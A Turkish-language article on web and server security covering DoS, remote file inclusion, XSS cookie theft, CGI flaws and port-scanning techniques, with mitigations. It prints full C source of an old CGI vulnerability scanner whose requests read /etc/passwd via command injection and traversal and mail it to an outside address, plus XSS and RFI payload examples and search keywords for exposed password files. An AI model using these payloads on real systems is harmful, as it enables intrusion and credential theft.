Internet Güvenliği

Çağımızın olmazsa olmazıarasına giren Internet, beraberinde bir çok tehlikeyi de getirmektedir. Bu tehlikeleri, Kredi Kartıbilgilerinin çalınması, Web Uygulamalarına ebedi olarak el konulması, e-Mail hesaplarının ele geçirilmesi, kişisel bilgilerin yayınlanması…vs şeklinde sıralamak mümkün.

Peki bu tehlike unsurlarına karşıetkili çözümler nelerdir? Nasıl korunulur?

Öncelikli olarak kişisel bilgisayar güvenliği önemli. Kullanıcıkendi güvenliğini tam manasıyla sağladıktan sonra, gerisi sistem güvenirliğine kalmış bir olay. Sistem güvenirliği de gerekli yamalar, güvenlik önlemleri.. ile daha iyi bir duruma getirilebilir, her türlü saldırıya karşıdonanımlıhale getirilebilir.

PC (Personal Computer) güvenliğinde en önemli madde bilinçli olmaktır. Kullanıcıbilinçli ise, sistem’in %90 ’ıgüvendedir demektir. şöyle ki, sistem hataları, güvenlik zafiyetleri belki fixlenebilir, lakin kullanıcıdikkatsizliği ve bilinçsizliği Sosyal Mühendislik sanatınıiyi kullanan saldırganlara davetiye çıkarmakta, sistem ne kadar güvenli olsa bile, maalesef bu güvenlik devre dışıkalmaktadır. O yüzden ilk madde bilinçli olmaktır.

Internet ortamında, bilgisayarlar arasıbağlantıda sürekli bir dosya paylaşımıvardır. Bu dosya paylaşımısırasında, art niyetli kullanıcılar tarafından, virüs, trojan, worm, spy .. yollanabilmekte veya farklıamaçlar için kullanıcıbilgisayarlarıhacklenebilmektedir. Bunlara bilinçli ve dikkatli olmadan sonra gelebilecek en iyi çözüm iyi bir Firewall kullanmaktır. Sizin dikkatsizliğiniz anında, devreye Firewall güvenlik kalkanlarıgirecektir. Bu sayede bilgisayarınızdaki veri alış-verişini görebilir, veri kontrolünü sağlayabilirsiniz..

Yukarıda saydıklarımıza ek olarak Domain Güvenliği kısmında anlatacağımız e-Mail Account güvenliği başlığıaltında yer alacak olan maddeler de vardır.

Kendi güvenliğini sağlayan bir kullanıcı, internet ortamında oluşturduğu Web Uygulamalarınınasıl korumalıdır? Neler yapabilir?

Öncelikli olarak Web sitesi güvenliğinde (Host Güvenliği için), sisteminize karşıyapılabilecek saldırılarıiyi bilmeniz gerekir. Bir saldırının boyutunu, verebileceği zararıve mantığınıanlamadan, bu saldırıya karşıçözüm üretemezsiniz…

Sisteme yapılabilecek en basit (görünen) saldırılardan biri olarak Denial Of Service (DOS) ve DDOS saldırılarınıörnek verelim.

Denial Of Service (DOS) saldırılarıdiye nitelendirilen saldırıtürü, sistem işleyişini engelleme, belirli verilere erişimi sağlama yerine yetkili kullanıcıların uygulamalara erişimini engelleyerek bilgi sistemleri kaynaklarınıkilitler. Bu Attack türü ile sistemin sunduğu hizmet veya hizmetleri tamamiyle engelleyebilir ve devre dışıbırakabilir. Dos Attack işleyiş olarak, Attacker’ın çok büyük oranda karışık ve karşılanamaz verileri hedef sistem ağlarına veya bilgisayarlarına doğrudan göndermesini baz alır. Dos Attack yöntemini tehlikeli kılan yön ise çok eski tip makineler ve modemler ile çok karmaşık ve sofistike sistemleri devre dışıbırakmaktır.

DOS attacklar sadece e-ticaret ve web servislerine yapılmamaktadır. Bu saldırılardan routerlar, sanal özel ağlar(VPN) ve IRC sunucularıda etkilenmektedirler. Bir servis sağlayıcının router’ına yapılacak bir saldırısonucu network trafiği altüst olabilir ve sonucunda da müşterilerinin bağlantılarıkopabilir. Daha önce en büyük IRC ağlarından Undernet’in bazıönemli sunucularıDDoS yöntemiyle çökertilmişti. Saldırıda servis sağlayıcılar saniyede yüzlerce MB veri bombardımanına tutulmuştu..

Distributed Denial Of Service adınıalan hizmet aksatmaya yönelik saldırıtürünün DOS Attack’tan farkı, birden fazla noktadan tek bir merkeze yapılan sistem engelleme eylemidir. şöyle ki; DOS saldırılarıtek bir kaynaktan olup, herhangi hedef bir sisteme doğrudur. Ancak DDOS saldırılarında birden fazla makina tek bir hedefe focus olur. Bahsettiğimiz makina sayısıyüzlerce hatta binlerce olabilir. DDOS saldırılarının tehlikeli olmasının nedeni de bundan kaynaklanır.

Peki dev şirketlerin bile sistemlerini aciz bırakan bu saldırıtürüne karşıalabileceğimiz önlemler nelerdir?

Yeterli Bant Genişliği sağlayabilirsiniz. Saldırılar bant genişliğine göre zarar verirler. Bant genişliği yeterli düzeyde olursa etkilenme azalacaktır.

Sisteminizi sürekli güncelleyin. Çünkü bu tür saldırılarda saldırısırasında bir engelleme söz konusu olmayabilir. O yüzden saldırıöncesi hazırlık yapmanız gerekiyor.

İyi denebilecek düzeyde bir Firewall veya IDS (SaldırıTespit Sistemi) kullanın. Bu sayede ağınızıgözetleyebilirsiniz (Çok sayıda SYN_RECV görmeniz sisteminizin DOS saldırısına maruz kaldığınıgösterecektir.)

Saldırıya maruz kalan sistem ise, gelen bağlantılarıreddetmelidir. Ancak zombie kullanılmış ise bu işe yaramayacaktır. Sistemi kapatmanız da Attacker’ın menfaatine olacaktır. Çünkü saldırgan zaten bunu hedeflemektedir. Bu yüzden en önemli güvenlik, saldırıöncesi hazırlıktır.

Bir başka etkili saldırıise Remote File Include. Bu saldırının da en büyük etkisi ise, sunucu üzerindeki tüm sitelerin saldırısonucu sömürülebilmesidir. Bu da saldırının ne derece tehlikeli olduğunu göstermektedir.

Remote File Inclusion (RFI), PHP ile kodlanmış sistemlerde, tecrübesiz webmaster’lar tarafından yapılan kodlama hatalarından faydalanılarak sisteme sızma yöntemidir. Bu saldırının verebileceği büyük zarar ise, RFI açığıolan site üzerinden, aynıserverda bulunan tüm sitelere sızılabilmesi. Bu yüzden bu güvenlik açığı, saldırganlar tarafından tercih edilen yöntemler arasına girmiştir.

Saldırganlar, RFI açığına rastladıklarısitede, açığıkullanarak web sayfa sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini kullanmaktadırlar. Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodlarıcompile etmemesi gerekiyor. Listpatch PHP destekli bir hosta (Örn:http://hometown.aol.com) yüklendikten sonra, Attacker için tüm şartlar hazırlanmış demektir. Örnek bir RFI açığıbarındıran site;

http://www.example.com/path_to_qnews/q-news.php?id=Attacker List Patch]

http://www.example.com/path_to_phpgreetz/content.php?content= [Attacker List Patch]

http://www.example.com/PATH/admin/plog-adminfunctions.php?configbasedir=Attacker ListPatch]

Saldırıya karşıalınabilecek önlemler nelerdir? Nasıl Korunulabilir?

Bu saldırıtemel olarak sistemde yapılan kodlama hatalarından kaynaklanmaktadır. O yüzden kodlama sürecinde yapılan hata olasılığıgöz önüne alınarak, uygulama paylaşıma konulmadan önce yeniden check edilmelidir. Sizin sisteminizde bu açık yoksa bile, eğer sunucuda bu açığıbarındıran herhangi bir site var ise, sunucu üzerinden sizin sitenize de ulaşılabilir, sizin host’unuz da hacklenme ile karşıkarşıya gelebilir. O yüzden seçtiğiniz sunucuların da yeteri kadar güvende olduğundan emin olmalısınız.

Geçelim bir başka yönteme.. Son zamanlarda çok sık kullanılan ve genellikle Hotmail servisinde karşılaşılan Cross Site Scripting (XSS) Saldırılarının kullanılarak hack yapılmasıhatta bu yöntem ile Domain Reg. Mail (daha sonra değineceğiz) ‘in hacklenerek, Domain Hi-Jacking edilmesi, saldırıyıtehlikeli yapmaya yeterlidir.

XSS Saldırılarıtemel olarak Cookie’leri baz almaktadır. Cookie’ler, kendinize kişiselleştirmiş olduğunuz bir web-sayfasınız varsa veya bir ürün ya da servis için kayıt olmuşsanız, sizi bağlandığınız sisteme hatırlatarak zamandan tasarruf yapmanızısağlar. Siteye yeniden girdiğinizde sistem daha önceden verdiğiniz cevaplarıhatırlar. Bilgileri değiştirdiğiniz zaman da, sistem sizi cookie ler sayesinde yeni halinizle hatırlar.

Browser’a yazılan bir siteye bağlandığınızda, bağlanacağınız sayfanın sunucusu, bilgisayarınızda kendi yazmış olduğu cookie’lerin olup olmadığına bakar. Eğer varsa, cookie’ler aracılığıile size sabit bir ID atanır. Eğer sisteminizde, sunucuya ait cookie yoksa size ayrıbir SessionID atanır. Kaydettiği bu dosya hem sisteme, hem sizin bilgisayarınıza işlenir. Cookie’lerin formatıaşağıda verdiğimiz gibidir;

Domain : False : / : False : Bitiş Tarihi : Name : Value

Sırasıyla tanımları;

Domain: Cookie’yi sisteminize kaydeden Web sayfasının adınıiçerir.

False: Domainde bulunan tüm makinelerin değişkene erişim hakkının olup olmadığını

belirleyen bir bayraktır.

/ : URL’nin adresini gösterir.

False: SSL bağlantılarıiçin kullanılır.

Bitiş Tarihi: Genellikle saniye cinsinde olup, çerezin bilgisayarınızdaki süresini belirler.

Name: Değişkenin adı

Value: Değişkenin değeri

Sistemlerin kodlanma sürecinde yapılan hatalar, sistemde bir takım zafiyetlere ve güvenlik açıklarına sebebiyet vermektedir. Attacker’lar bu sistem zafiyetlerinden faydalanarak sisteminizde kayıtlıolan cookie’leri kullanabilir, daha önceden girdiğiniz sitelere sizin adınıza bağlanabilir ve eğer site yöneticisiyseniz siteyi ele geçirebilir, istediğini yapabilir.

İşte bahsettiğimiz Cross Site Scripting saldırılarında, kodlanma sürecinde yapılan hatalardan faydalanılarak Cookie’ler çalınmaktadır. Kısaca Request ile kullanıcıdan alınan verilerin sayfa içerisinde yazdırılmasıile oluşan Cross Site Scripting yani XSS açığıdır. Örneğin; QueryString ile alınan sayfa numaralarıyada ilgili kaydıgösteren id değişkenleri;

http://www.hedefsite/Default.Asp?Page=1

yada

http://www.hedefsite/Product.Asp?id=1

http://www.hedefsite/Default.Asp?Kategori=Haber gibi.

Attacker’lar, arama ve haber modüllerinde, profil panellerinde..vs bulunan bu sistem hatasısayesinde, modüllere ufak scriptler ekleyerek siteyi yönlendirebilir veya hata vermesine neden olabilir.

Ayrıca Attacker, HTML tabanlıbir e-posta içine veya hazırladığıweb sayfasına özel bir URL gömerek hedef sistem yöneticisine yollayıp, bu URL’yi kendi bilgisayarında açmasını, dolayısıyla hedef, farkında olmadan SessionID’sini hedefin URL’de tanımadığıadrese gönderecektir. Örneğin; cyber-security.org’a üye olduğunuzu varsayalım. Bu siteye kullanıcıadınızla giriş yaptığınızda yeni bir session oluşturmuş oldunuz. Ve tam bu esnada size gelen bir e-posta’da ;

<a href = http://www.cyber-warrior.com?loginname=x-Master=<SCRIPT> Document.write(\\\\\\’img src=”http://www.x-master”>

yukarıdaki gibi bir link gördünüz ve farkında olmadan buna tıkladınız. Dolayısıyla siz bu linke tıklamakla farkında olmadan sessionID’nizi, x.master.biz’e göndermiş oluyorsunuz.

Cross Site Scripting saldırılarına karşıalınabilecek önlemler nelerdir peki?

Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde Temizleyin ve Request verilerini alırken mutlaka tam sayıya çevirin…

Recid = CInt(Trim(Server.HTMLEncode(”Recid”)))

Recid = Replace(Recid, “<” , “&lt;”) ’küçüktür

Recid = Replace(Recid, “>” , “&gt;”) ’büyüktür

Recid = Replace(Recide, “’” , “&#146;”) ’tek tırnak

Recid = Replace(Recid, Chr(10) , “”) ’Satır Başı

Recid = Replace(Recid, Chr(34) , “”) ’çift tırnak

* ASP.NET ’de

Web.config Dosyasında aşağıdaki değişikleri yaptığınızda ” ’ ” gibi karakterleri sistem

kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri

etkili olmaz

<System.Web>

<Pages validateRequest=”True”></Pages>

</System.Web>

IPS Kullanıyor iseniz, Yeni imza oluşturup;

Application Layer / HTTP / HTTP.URL_DECODED Protokolüne;

’ Tek Tırnak,

” Çift Tırnak

< Küçük

> Büyük

Karakterlerini ekleyerek XSS ve SQL Enjeksiyon SaldırılarınıDirekt Engelleyebilirsiniz…

Kullanmış olduğunuz Script’lere karşıda Attacker’lar saldırıyapmaktan çekinmeyeceklerdir. O yüzden script güvenliği de büyük önem taşımaktadır. Örnek olarak CGI Script’ler’e değinecek olursak, başlıbaşına CGI Saldırıları adlıkonuyu ele alabiliriz.

CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için geliştirilmiş bir standarttır. CGI, aslında bir programdır. Web’in statik yapısına, HTML kodu içinden çağrılan CGI programlarıdinamik bir nitelik kazandırmaktadır. En popüler CGI uygulamalarından birisi Web Sayaçlarıdır. Web sayfalarınıkaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program olarak, bir web sayfasıiçinden çağrılabilir. CGI programlarıgerçek zamanlıçalışırlar. CGI’lerin önemli uygulama alanlarından birbaşkasıda, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip kullanıcıya cevabıgöndermektir.

CGI programları”çalıştırılabilir” kodlar olduğundan, bir başkası, kolaylıkla sizin sisteminizde program çalıştırabilir. Bu yüzden, CGI kodlarısistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altındadır.

CGI programlarıherhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb. CGI eğer C ya da Fortran gibi bir dilde yazılırsa, derlenmelidir. Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir.

Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk zamanlardaki popüleritesini azaltmıştır. Öte yandan, CGI programları/scriptleri, bulunduklarısistemde saklıdırlar ve çalıştıklarında o sistemin kaynaklarınıkullanırlar. Oysa Java Appletleri ve JavaScript, doğrudan HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra edilebilirler. Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajıdır.

C.G.I Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda olan dosyalarıkullanabilmesini sağlayan basit araçlardır. Uzun zamandan beri Web sitelerinde bazıişleri yürütmek için kullanılan CGI Scriptlerin güvenirliği ise tartışılır durumda. Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız güvenliğinizi tehlikeye düşürebilir. şöyle ki; CGI açıklarından faydalanarak hedef siteler hack’lenebilir, hatta daha sonra sistemi re-hack etmek için backdoor dediğimiz arka kapılar bile bırakılabilir.

Bu saldırıya karşıalınabilecek önlemler ise ;

Attacker Scriptlerde bulunan açıklarıgerek manuel yollarla gerekse de CGI Scanner’larıkullanarak öğrenebilir. Seçilecek olan Scanner’ın veritabanında tüm açıklarıbarındırmasıve sürekli güncellenme özelliğine sahip olmasıgerekir. Çünkü bir Scanner veritabanında ne kadar çok sistem hatasından kaynaklanan açıklarıbarındırırsa Attacker’ın sisteme sızma şansıo kadar artacaktır.

Program dışımanuel olarak CGI Açıklarıaramanın kolay bir yöntemi olarak da Google gibi gelişmiş craw’lerlara sahip olan sistemlerde ” cgi-bin/password.txt, cgi-bin/ornek.pwd ” gibi key-word’leri aratmaktır.

Ek olarak birçok CGI-Scanner’ıhttp://packetstormsecurity.org/UNIX/cgi-scanners/ adresinden indirebilirsiniz.

Ayrıca sisteminizde CGI açığıolup olmadığınıanlayabilmek için Cgiscan.c exploitini kullanabilirsiniz. Exploitin kaynak kodlarınıveriyoruz.

***********************************************************************

#include <sys/stat.h>

#include <sys/types.h>

#include <termios.h>

#include <stdio.h>

#include <string.h>

#include <fcntl.h>

#include <sys/syslog.h>

#include <sys/param.h>

#include <sys/times.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <sys/signal.h>

#include <arpa/inet.h>

#include <netdb.h>

#define MAXSTR 12

main (int argc, char *argv[])

{

struct sockaddr_in sin;

/* int outsocket, serv_len, len,c,outfd; */

/* struct hostent *nametocheck; */

/* struct in_addr outgoing; */

struct hostent *hp;

char host[100], buffer[1024], hosta[1024],FileBuf[8097];

int sock, i=0, X;

char *stringhe[MAXSTR];

for(i=0;i<MAXSTR;i++) {

stringhe[i]=(char *) malloc(sizeof(char)*100);

}

/* Classic PHF bug… It still Works! */

stringhe[0]=”GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\\\\\\n”;

/* test-cgi bug, possible to view documents location */

stringhe[1]=”GET /cgi-bin/test-cgi?*\\\\\\n”;

/* htmlscript bug, a good language that can us have passwd ;) */

stringhe[2]=”GET /cgi-bin/htmlscript?../../../../etc/passwd\\\\\\n”;

/* view-source bug, some httd use this… */

stringhe[3]=”GET /cgi-bin/view-source?../../../../etc/passwd\\\\\\n”;

/* Wrap allow you to have a directory listing on IRIX 6.2 systems */

stringhe[4]=”GET /cgi-bin/wrap?/../../../../../etc\\\\\\n”;

/* Campas allow you to get the passwd on NCSA server 1.2 */

stringhe[5]=”GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\\\\\\n”;

/* With pfdisplay & webdist is possible to get the passwd on IRIX 6.2 systems */

stringhe[6]=”GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\\\\\\n”;

stringhe[7]=”GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd\\\\\\n”;

/* With aglimpse is possible to mail the password file anywhere :) */

stringhe[8]=”GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5dashie\\\\\\@cyberdude.com\\\\\\</etc/passwd;eval$CMD;echo\\\\\\n”;

/* An interesting variant for phf*/

stringhe[9]=”GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\\\\\\n”;

stringhe[10]=”GET /cgi-bin/php.cgi?/etc/passwd\\\\\\n”;

/* a new test-cgi but the bug is the same :) */

stringhe[11]=”GET /cgi-bin/nph-test-cgi?*\\\\\\n”;

while(fgets(hosta,100,stdin))

{

if(hosta[0] == ’\\\\\\0’)

break;

hosta[strlen(hosta) -1] = ’\\\\\\0’;

write(1,hosta,strlen(hosta)*sizeof(char));

write(1,”\\\\\\n”,sizeof(char));

hp = gethostbyname (hosta);

for(i=0;i<MAXSTR;i++) {

bzero((char*) &sin, sizeof(sin));

bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

sin.sin_family = hp->h_addrtype;

sin.sin_port = htons(80);

sock = socket(AF_INET, SOCK_STREAM, 0);

X=connect(sock,(struct sockaddr *) &sin, sizeof(sin));

write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));

while((X=read(sock,FileBuf,8096))!=0)

write(1,FileBuf,X);

}

}

printf(”\\\\\\nScacco&Dark Schneider - S0ft Pr0ject 98″);

}

***********************************************************************


Web uygulamalarının güvenliğinde en önemli nokta
sunucu güvenliğidir. Unutmayınız ki, sunucu güvenli olmadığıtakdirde sizin siteniz ve uygulamanız ne kadar güvenli olursa olsun, sitenin hack’lenmesine engel olamayacaktır. Örnek olarak;

Sisteminizi hedefleyen bir saldırganın, sitenizde açık bulamadığınıvarsayalım. Saldırgan bu aşamadan sonra sunucuyu incelemeye çalışacaktır. Sunucu üzerinde bulduğu her açıktan/hatadan faydalanacaktır. Örnek olarak sunucunun port durumunu kontrol edecektir.

Bir sistemin taranması, temel olarak hedef konumunda bulunan ağda bulunan bileşenleri ve bu bileşenlere yetkisiz olarak erişim hakkına sahip olmak için yapılmaktadır. Tarama,aktif sistemlerin belirlenmesi, işletim sistemlerinin saptanmasıve bu bileşenlerin hedef ağdaki lokasyonunun belirlenmesi gibi basamaklardan oluşur.

İlerleyen teknolojinin ürünü olarak birçok işletim sisteminde birden fazla program aynıanda çalışmakta ve çalışan bu programlardan bazılarıda dışardan gelen request (istek)’lere açık olmaktadırlar. Uygun görülen request’lere response (cevap) vermektedir.

Sunucu programlarıçalışan bilgisayarlara verilen IP adresleri ile istenilen bilgisayarlara ulaşılır. Ulaşılan bilgisayarlar üzerindeki hangi sunucu programdan hizmet almak istendiğini belirlemek ise port’lar aracılığıyla sağlanır. Bu işlemi sağlayabilmek için bilgisayarlar üzerinde sanal bağlantınoktalarıoluşturulur ve her bağlantınoktasınıadresleyebilmek için Port numarasıdediğimiz pozitif rakamlar verilir. Port numaraları2 byte olarak tutulur. 1024’ten küçük olan port numaralarıRoot dediğimiz özel yetkilere sahip kullanıcılar tarafından kullanılır. Büyük olanlar ise normal kullanıcılar tarafından kullanılmaktadır.

Port kavramınıöğrendikten sonra Attacker’ların, Port’lardan faydalanma eylemine değinelim.

Attacker sistem hakkında yeteri kadar veri topladıktan sonra yapacağıise hedef sistemin TCP veya UDP Portlarına bağlanarak hangi port’un açık olduğunu belirlemek veya hangi port’un dinleme durumunda olduğunu saptamaktır. Yani Port Taraması yapmaktır.

İlk önce de dediğimiz gibi, saldırıbilmeden saldırıya karşıçözüm üretilemez. Port Tarama Nasıl Yapılır?

TCP Connect Scan

Transmission Control Protokol (TCP), bilgisayarlar ile veri iletme ve alma birimleri arasındaki iletişimi sağlayan, bu yolla veri transferini mümkün kılan yapıdır.

TCP’nin İşleyişi: TCP Oturumu öncelikli olarak bir sunucudan servis ister, diğer istemci ise response olarak (eğer bağlantıisteği kabul edilirse) SYN Flag (SYN Bayrağı) ’ıkalkık paketini sunucu bilgisayara iletir. Paketi alan sunucu ise, gönderene response olarak SYN Paketini aldığınıve bağlantırequest’ini onayladığınıgöstermek için SYN Bayrağıkaldırılmış (set) paketi yani SYN-ACK Paketini istemci bilgisayara gönderir. Son aşamada ise sunucu makinenin gönderdiği SYN-ACK paketini alan istemci bilgisayar sunucuya ACK paketini göndererek yollanan paketi aldığınıbildirir.

Bahsi geçen tarama yöntemi yani TCP Connect Scan işlemi ise anlattığımız oturum açma işlemini gerçekleştirir ve oturum açıldığızaman bağlantıyıkeserek bize portun durumunu, açık veya kapalıolduğunu gösterir.

Yalnız Attacker bu yöntemi zor durumda kalmadığızaman yapmaz. Çünkü oturum açma isteği gönderildikten ve bu işlem gerçekleştikten sonra isteği gönderen cihazın IP Adresi kaydedilir. Ama zorunlu durumlarda ve hedef sistemin portunun kesin bir şekilde açık veya kapalıolarak öğrenilmek istenmesi durumunda bu yol garantidir.

TCP SYN SCAN

TCP Connect Scan işleminde, bu yolun riskli olduğunu çünkü IP Paketlerinin loglandığınısöylemiştik. Loglama işlemi, istemci bilgisayarın Oturum açtığıanda olur. Oturum açılırsa log tutulur.

TCP SYN Scan yarı-açık tarama olarak da bilinir. Bu tabirin bahsi geçen tarama yöntemine uygun görülmesinin nedeni ise, TCP Connect Scan’deki gibi tam olarak oturum açmamasından dolayıdır. TCP SYN Scan SYN bayraklıpaketi gönderir ve SYN/ACK bayraklıpaketi alır. Oturum açmayıise RST/ACK bayraklıbir paket göndererek reddeder.

Eğer hedef port açık ise SYNC/ACK paketi gelir. Oturum açılmadığından dolayıda loglanma ihtimali ortadan kalkar.

TCP FIN Scan

TCP Connect ve TCP Syn Scan işlemlerinde oturum açma işlevlerine değindik. TCP FIN Scan’de ise Oturum açılmadan hedef portların açık veya kapalıolma durumlarıöğrenilir.

TCP FIN Scan’de hedef portlara FIN Paketleri gönderilir. *RFC793 ‘ e göre kapalıdurumda olan bir port, bağlantıdurumu söz konusu olmadan aldığıFIN paketine, RST Paketiyle cevap verir. Yani hedef porta gönderdiğimiz FIN Paketlerine eğer cevap gelirse port kapalıdır, eğer cevap gelirse port açıktır.

SYN/FIN Scannig Using IP Fragments

Bu tarama yöntemi SYN ve FIN Tarama yöntemlerinin daha gelişmiş bir türüdürdiyebiliriz. Bu tarama yönteminde herhangi bir paket gönderilmez. Hedef porta paketleri daha küçük IP Fragmenti olarak gönderilir. Bu işlem Attacker’ın yaptığıişin anlaşılmasına engel olmak içindir.

TCP Xmas Tree Scan

Bu tarama yöntemi TCP SYN taramasına benzer. Hedef porta FIN (No More Data From Sender), URG (Urgent Pointer Field Significant) ve PUSH (Push Function) bayraklıpaketler gönderir ve kapalıolan portalardan RST cevabıbeklenir. Eğer cevap gelmezse hedef portlar açıktır. (RFC793’e göre / http://www.ietf.org/rfc/rfc0793.txt)

TCP Null Scan

Daha önceki tarama yöntemlerinde paketler veya IP Fragment göndererek port’ların açık ve kapalılık durumlarınıöğrenmiştik. Bu tarama yönteminde ise TCP Xmas Tree’nin tam tersine bayrak taşımayan bir paket gönderilir. Daha öncede belirttiğimiz gibi RFC793’e göre kapalıdurumlardaki portlardan RST cevabıgelir. Eğer cevap gelmezse hedef port açıktır.

TCP ACK Scan

Bu tarama yönteminde Attacker, eğer hedef Firewall kullanıyorsa kullandığıFirewall’u bypass etme ve hedef portların açık ve kapalılık durumlarınıöğrenebilir.

TCP ACK Scan’in genel mantığıstatik veya dinamik paket filtrelemede firewall’ların bağlantıyıilk başlatan tarafıhatırlayamamasıdır. Bazıfirewall’lar onaylanmış olan bağlantılara izin verir ve ACK (Acknowledgment Field Significant) paketinin Firewall’lardan veya Router’lardan engellenmeden geçmesi mümkün kılınabilir, hedef portlar firewall’a rağmen taranabilir.

TCP FTP Proxy (Bounce Attack) Scan

Bu tarama yöntemi FTP Proxy’lerin Bounce adınıverdiğimiz özelliğinden faydalanır. RFC959 tanımına göre, FTP Protokolünün Proxy FTP bağlantısına izin verir. Bu bağlantısayesinde server-PI (Protocol Interpreter)’e ağdaki herhangi bir yere dosya yollayabilecek server-DTP (Data Transfer Process) isteği aktif edilebilir. Bu açık özellikle firewall arkasında bağlıbulunan bir FTP’ye bağlandığımız zaman sunucuya kendi port’larınıtaratmasısağlandığıiçin çok tehlikeli bir tarama türüdür. Çünkü Firewall bypass edilmiş olur.

TCP Windows Scan

TCP ACK taramasına benzer. Bu tarama türü TCP Windows Size’dan kaynaklanan hatalarıbaz alarak bazıişletim sistemlerinde portların açık ve kapalılık durumunu ya da filtreli olma durumlarınıkontrol eder.

TCP RPC Scan

Bu tarama yöntemi ile Remote Procedure Call (RPC-Uzak İşlem Çağrıları) port’larından aktif halde çalışan işlemleri ve sürümleri öğrenebiliriz. Eğer sistemde çalışan RPC’ler ile ilgili hata ve aksaklıklar mevcut ise bunlar Attacker için sisteme girmek için bir yoldur. (Sadece Unix tabanlısistemlerde mevcuttur)

UDP Scan

Daha önceki tarama yöntemleri (RPC Scan Hariç) TCP tabanlıidi. TCP tabanlıtaramalarda, sıra numaraları, kod bitler dediğimiz yapılar vardı. Ancak UDP’de böyle bir şey mevcut değildir. UDP ’de paketler direk gönderilir ve kaybolan paketlerin yenisi gönderilmez.

Bu yöntem hedef sisteme UDP Paketlerini gönderme işlemini baz alır. Eğer gönderilen UDP Paketlerine response olarak “ICMP Port Unreachable” mesajıalınırsa port kapalıdır demektir. Eğer bu responsa alınmazsa port’un açık olduğu anlaşılır. Bu işlemleri yaparken acele etmemek gerekir. Çünkü bant genişliği probleminden dolayıgelmesi gereken mesaj paketi gecikebilir. Ve eğer ivedi davranılırsa port’un açık olduğu o nedenle cevap gelmediği düşünülebilir. Ama port açıktır ve bu hatadan dolayıAttacker amacına ulaşamayabilir.

Ident Scan

Ident Protokolü RFC1413’te tanımlanmış bir protokoldür.Bu tarama hedef sistem üzerinde eğer Identd aktif olarak bulunuyorsa, sistemde çalışır vaziyette olan servislerin listesine ve bu servisleri çalıştıran kullanıcıisimlerine ulaşmak için yapılır. Eğer Identd aktif değilse bu tarama türü işe yaramayacaktır.

Tüm bunlara karşısunucu güvenliği nasıl sağlanacak?

Port Tarama yönteminden korunma bir IDS Sistemi ile engellenebilir. Veya IPTables’da Burst/Burst-Rate gibi bir limitasyonla engellenir. şöyle ki; bir kaynak IP adresinden bir noktaya belirli bir “t” süresi dahilinde gelen SYN paketlerini sayan ve anormal sayıda aynıadrese connection kurmaya çalışan ya da birden fazla porta “t SYN “paketi gönderen IP Adresleri otomatik olarak bloke edilir. Bu teknik engellemekteden daha ziyade artificial-intelligiance ile gerçekleştirilebilen bir savunma yöntemidir.

Port taramasından korunmak için kullanılan bir başka yöntem ise Firewall dediğimiz Güvenlik Duvarlarının kullanımıdır. Piyasada bulunan Firewall’ların çoğu Port taramalarınıengelleyebilme özelliğine sahiptir. Hatta Nmap’in yaptığıgizli port taramalarınıbile yakalayabilme kabiliyetine mevcut Firewall’lar vardır. Tavsiye edebileceğimiz Firewall’lar; hem güvenlik duvarıhem de saldırıtespit sistemi olan Zone Alarm

(http://www.zonelabs.com), IIS net firmasının Windows tabanlısaldırıtespit programıolarak yazdığıBlackICE (http://www.blackice.iss.net/index.php) ‘tır.

Yöntemler daha fazla sıralanabilir, lakin en sık karşılaşılan hack’lenme vakalarıbu saldırılardan yana olmaktadır. Daha fazla detay için sitemde bulunan makalelerden faydalanabilirsiniz. (x-Master.biz > Makalelerim Modülü // x-Master – Cyber Warrior TIM)

Bunlar haricinde bir de Domain Güvenliğinden bahsetmemiz gerekiyor.

Alan adıveya kısaca Domain, internette varolmak için başvurduğunuzda size verilen Internet Protokol adresinin bir görüntüsüdür. Diğer bilgisayarlar ile connection kurabilmek için bağlantıyıkuracak olan bilgisayarların IP adreslerinin tanımlanmış olmasıgerekir. Yani Internet ortamındaki bilgisayarlar ile iletişiminiz, size tayin edilen IP adresleri ile sağlanır.

Bir kullanıcının, şirketinizin veya herhangi bir kurumun Web adresine girmek isteyen kullanıcının, şirkete tayin edilmiş olan IP adresini browser’a yazmasıgerekir. IP adreslerinin zihinde tutulmasıgüç olduğundan dolayı, her IP adresine farklıbir alan adıtayin edilir. Tayin edilen bu alan adlarıdomain adınıalır. Bu sayede Browser’a girilecek olan web sayfasının IP adresi yerine, alan adıyazılarak girilir. İşte bu alan adlarıda domain adınıalır.

